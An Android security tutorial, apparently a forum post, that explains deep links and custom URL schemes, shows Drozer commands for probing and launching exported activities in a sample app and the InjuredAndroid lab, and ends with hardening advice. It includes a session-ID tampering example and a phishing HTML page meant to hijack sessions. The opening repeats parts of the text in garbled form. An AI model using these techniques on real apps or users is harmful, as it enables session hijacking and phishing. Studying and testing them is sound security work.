- by x32x01 ||
In many Android apps, developers rely on Deep Links and Custom URL Schemes to open specific app screens directly from the web 🌐.
These links are commonly used for OAuth login, session handling, email verification, and user authentication.
But when deep links are poorly implemented, they can become a serious security risk 🚨.
Let’s break it down in a simple, practical way.
Example use cases:
📌 Important points:
Here’s how it looks in the manifest:
⚠️ This is where things can go very wrong if not handled securely.
An attacker can simply change the session ID:
Boom 💥 - another user’s session is opened.
We notice:
This means any URL starting with:
will open this activity.
Check exported activities:
You’ll find:
Now triggering the vulnerable deep link:
✔️ The app opens instantly.
Serve it using Python:
Once the victim clicks the link 📱 → the app opens → session data gets stolen.
Check activities:
Trigger directly:
Discover scheme:
Exploit it:
✔️ Activity launched successfully.
A single insecure deep link can be the entry point to multiple critical vulnerabilities 🚨.
If you’re into Android pentesting, bug bounty, or mobile security, deep link testing should always be part of your checklist ✔️.
These links are commonly used for OAuth login, session handling, email verification, and user authentication.
But when deep links are poorly implemented, they can become a serious security risk 🚨.
Let’s break it down in a simple, practical way.
What Are Deep Links in Android? 🤔
Deep links allow an Android app to open a specific activity when a user clicks a URL.Example use cases:
- Login via Google/Facebook 🔐
- Open a profile or order page 📦
- Handle password reset links ✉️
Deep Link Using HTTP / HTTPS Scheme 🌍
Here’s a basic example of an intent filter that accepts normal web URLs: XML:
<intent-filter android:label="@string/filter_view_http_gizmos">
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data
android:scheme="http"
android:host="www.example.com"
android:pathPrefix="/gizmos" />
</intent-filter> - android:scheme="http"
- android:host="
www.example.com" - The leading
/inpathPrefixis mandatory
Custom URL Scheme (Non-HTTP) 🔧
Android also allows apps to define custom schemes, like:example://gizmosHere’s how it looks in the manifest:
XML:
<intent-filter android:label="@string/filter_view_example_gizmos">
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data
android:scheme="example"
android:host="gizmos" />
</intent-filter>
Where Deep Links Become Dangerous ⚠️
Many developers pass sensitive data directly through deep links, such as:- Session IDs
- User tokens
- Authentication parameters
- 🔓 Sensitive data exposure
- 🧑💻 Session hijacking
- 🧨 Account takeover
- 🔁 Open redirect
- 📂 LFI
- 💥 XSS via WebView
Vulnerable Example 🚫
Code:
example://api.example.com/v1/users/sessionId=12345 sessionId=12346Boom 💥 - another user’s session is opened.
Exploiting Deep Links Using Drozer 🧪
To demonstrate this attack, we’ll use Drozer, a popular Android security testing tool.Step 1: Inspect the Manifest
Code:
run app.package.manifest in.harshitrajpal.deeplinkexample Code:
<data android:scheme="noob" /> noob://will open this activity.
Exported Activities = Easy Target 🎯
Any activity declared inside an intent-filter is exported by default.Check exported activities:
Code:
run app.activity.info -a in.harshitrajpal.deeplinkexample DeepLinkActivity
Triggering the Deep Link Manually 🚀
Normal URL behavior: Code:
run app.activity.start --action android.intent.action.VIEW --data-url http://google.com Code:
run app.activity.start --action android.intent.action.VIEW --data-uri noob://harshit.com/auth=sum
Real-World Phishing Attack Scenario 🎣
An attacker can host a malicious HTML page: HTML:
<html>
<body>
<a href="noob://hello.com/yolo?auth=true&session=exampleKey">
Click here to exploit
</a>
</body>
</html> python3 -m http.server 80Once the victim clicks the link 📱 → the app opens → session data gets stolen.
Another Vulnerable App: InjuredAndroid 🩸
The app InjuredAndroid contains an exported deep link activity.Check activities:
Code:
run app.activity.info -a b3nac.injuredandroid Code:
run app.activity.start --component b3nac.injuredandroid b3nac.injuredandroid.DeepLinkActivity Code:
run app.package.manifest b3nac.injuredandroid Code:
run app.activity.start --action android.intent.action.VIEW --data-uri flag11://abc.com
How to Secure Deep Links Properly 🔐
To avoid deep link abuse, developers should:- ✅ Never pass sensitive data via URLs
- ✅ Use android:autoVerify="true"
- ✅ Implement App Links instead of custom schemes
- ✅ Validate requests with a backend token
- ✅ Add assetlinks.json on the server
- ✅ Use HTTPS only
Final Thoughts 🧠
Deep Links are powerful, but dangerous when misused.A single insecure deep link can be the entry point to multiple critical vulnerabilities 🚨.
If you’re into Android pentesting, bug bounty, or mobile security, deep link testing should always be part of your checklist ✔️.
References 📚
Last edited: